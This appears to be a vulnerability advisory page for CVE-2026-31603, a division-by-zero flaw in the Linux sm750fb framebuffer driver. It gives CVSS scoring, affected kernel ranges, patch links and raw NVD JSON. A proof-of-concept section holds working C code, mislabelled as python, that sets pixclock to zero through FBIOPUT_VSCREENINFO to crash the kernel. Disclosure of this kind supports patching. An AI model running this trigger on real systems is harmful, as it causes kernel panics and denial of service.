CVE-2026-31603

Description

In the Linux kernel, the following vulnerability has been resolved: staging: sm750fb: fix division by zero in ps_to_hz() ps_to_hz() is called from hw_sm750_crtc_set_mode() without validating that pixclock is non-zero. A zero pixclock passed via FBIOPUT_VSCREENINFO causes a division by zero. Fix by rejecting zero pixclock in lynxfb_ops_check_var(), consistent with other framebuffer drivers.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (sm750fb driver enabled)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <fcntl.h>
#include <linux/fb.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    // Open the framebuffer device
    int fd = open("/dev/fb0", O_RDWR);
    if (fd < 0) {
        perror("Failed to open /dev/fb0");
        return 1;
    }

    struct fb_var_screeninfo var_info;
    // Retrieve current screen info to populate the structure
    if (ioctl(fd, FBIOGET_VSCREENINFO, &var_info) < 0) {
        perror("FBIOGET_VSCREENINFO");
        close(fd);
        return 1;
    }

    // Set pixclock to 0 to trigger the division by zero vulnerability
    var_info.pixclock = 0;

    // Trigger the vulnerability via FBIOPUT_VSCREENINFO
    // This may cause a kernel panic (Division by zero)
    printf("Triggering exploit with pixclock=0...\n");
    if (ioctl(fd, FBIOPUT_VSCREENINFO, &var_info) < 0) {
        perror("FBIOPUT_VSCREENINFO");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31603
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31603
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31603/
[4] VulDB https://vuldb.com/cve/CVE-2026-31603
[5] https://git.kernel.org/stable/c/1412ba36597a82e928f20047f41d6c6582dafe8a
[6] https://git.kernel.org/stable/c/2f640c6043aeab31a2f607d7605271860c3b11df
[7] https://git.kernel.org/stable/c/6144895a4335a2491c282931f1f2fa610b86339f
[8] https://git.kernel.org/stable/c/75a1621e4f91310673c9acbcbb25c2a7ff821cd3
[9] https://git.kernel.org/stable/c/779412e0e391fd4a0d12e1d1adaa7bf043de62d7
[10] https://git.kernel.org/stable/c/daf6733bd7c4c5015b431739ac29b0e29021096b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31603", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:39.453", "lastModified": "2026-04-29T19:07:12.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: sm750fb: fix division by zero in ps_to_hz()\n\nps_to_hz() is called from hw_sm750_crtc_set_mode() without validating\nthat pixclock is non-zero. A zero pixclock passed via FBIOPUT_VSCREENINFO\ncauses a division by zero.\n\nFix by rejecting zero pixclock in lynxfb_ops_check_var(), consistent\nwith other framebuffer drivers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1", "versionEndExcluding": "6.6.136", "matchCriteriaId": "82B577FA-0D16-462A-8DB4-F6416AE147D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1412ba36597a82e928f20047f41d6c6582dafe8a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2f640c6043aeab31a2f607d7605271860c3b11df", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6144895a4335a2491c282931f1f2fa610b86339f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/75a1621e4f91310673c9acbcbb25c2a7ff821cd3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/779412e0e391fd4a0d12e1d1adaa7bf043de62d7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/daf6733bd7c4c5015b431739ac29b0e29021096b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}